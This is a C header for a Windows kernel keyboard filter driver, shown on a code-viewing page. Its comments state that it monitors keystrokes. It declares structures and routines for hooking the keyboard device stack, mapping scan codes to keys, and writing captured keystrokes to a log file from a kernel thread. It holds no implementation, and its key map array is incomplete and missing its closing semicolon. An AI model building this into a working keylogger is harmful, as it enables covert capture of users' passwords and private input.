📄 mskbdcomm.h
字号:
//
//
// 监视键盘动作
//
#ifndef __MSKBDCOMM_H__
#define __MSKBDCOMM_H__
#ifdef __cplusplus
extern "C"
{
#endif
#include <ntddk.h>
#include <ntddkbd.h>
#ifdef __cplusplus
}
#endif
//#define MAXLONG 256
LONG g_lPendingIrpNums = 0;
// 设置设备扩展结构
typedef struct tagKbdDeviceExtension
{
PDEVICE_OBJECT pKbdDev; // 下一层驱动程序的设备
HANDLE hLogFile; // 文件句柄(保存击键信息)
BOOLEAN bTerminateThread; // 内核线程是否需要被终止的标志
PETHREAD pThreadObj; // 在卸载驱动时用于等待线程结束(线程对象)
KSEMAPHORE semQueue;
KSPIN_LOCK spinLockQueue;
LIST_ENTRY queueListHeader; // 双向链表
} KBDDEVICE_EXTENSION, *PKBDDEVICE_EXTENSION;
// 存放键的数据
typedef struct tagKeyData
{
LIST_ENTRY listEntry;
USHORT ushortPortId; // 键盘设备的ID
USHORT ushortScanCode; // 键的扫描码
USHORT ushortKeyStatus; // 键状态(Down,Up)
} KBD_DATA, *PKBD_DATA;
#define KEY_LEN 32
// 键盘映射表
typedef struct tagKeyMap
{
USHORT usScanCode; // 扫描码
CCHAR szKey[KEY_LEN];
} SCANCODE_MAP_KEY, *PSCAN_MAP_KEY;
SCANCODE_MAP_KEY g_smk[] =
{
0x1E, "A",
0x30, "B",
0x2E, "C",
0x20, "D",
0x12, "E",
0x21, "F",
0x22, "G",
0x23, "H",
0x17, "I",
0x24, "J",
0x25, "K",
0x26, "L",
0x32, "M",
0x31, "N",
0x18, "O",
0x19, "P",
}
// 此驱动支持的设备名
#define DEVICE_NAME_MSKBDDEV L"\\Device\\MSKbdFilterDev"
#define DEVICE_NAME_MSKBDLINK L"\\DosDevices\\MSKbdFilterLink"
// 键盘分层驱动的例程
NTSTATUS MSKbdDriverEntry(
IN PDRIVER_OBJECT pKbdDrvObj,
IN PUNICODE_STRING pRegisterPath
);
// 在驱动程序的主函数表中设置所有的函数地址为MSKbdPassDown
// 此例程不处理,直接传递请求到下一层驱动
NTSTATUS MSKbdPassDown(
IN PDEVICE_OBJECT pKbdDevObj,
IN PIRP pIrp
);
// 驱动的读取例程
NTSTATUS MSKbdRead(
IN PDEVICE_OBJECT pKbdDevObj,
IN PIRP pIrp
);
// 驱动的卸载例程
VOID MSKbdUnload(
IN PDRIVER_OBJECT pKbdDrvObj
);
// 当下一层驱动完成IRP处理时则让IO管理器调用完成IRP的完成例程
NTSTATUS MSKbdReadCompletion(
IN PDEVICE_OBJECT pKbdDevObj,
IN PIRP pIrp,
IN PVOID pContent
);
// 创建纪录击键信息到文件的线程
NTSTATUS MSKbdInitRecKeyInfoThread(
IN PDRIVER_OBJECT pKbdDrvObj
);
// 安装键盘过滤设备
NTSTATUS MSKbdHookDevice(
IN PDRIVER_OBJECT pKbdDrvObj
);
// 线程例程
VOID MSKbdRecKeyThread(
IN PVOID pContent
);
// 创建纪录键信息的日志文件
NTSTATUS MSKbdCreateFile(
IN PKBDDEVICE_EXTENSION pKbdExtension,
IN UNICODE_STRING& usFileName
);
#endif
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -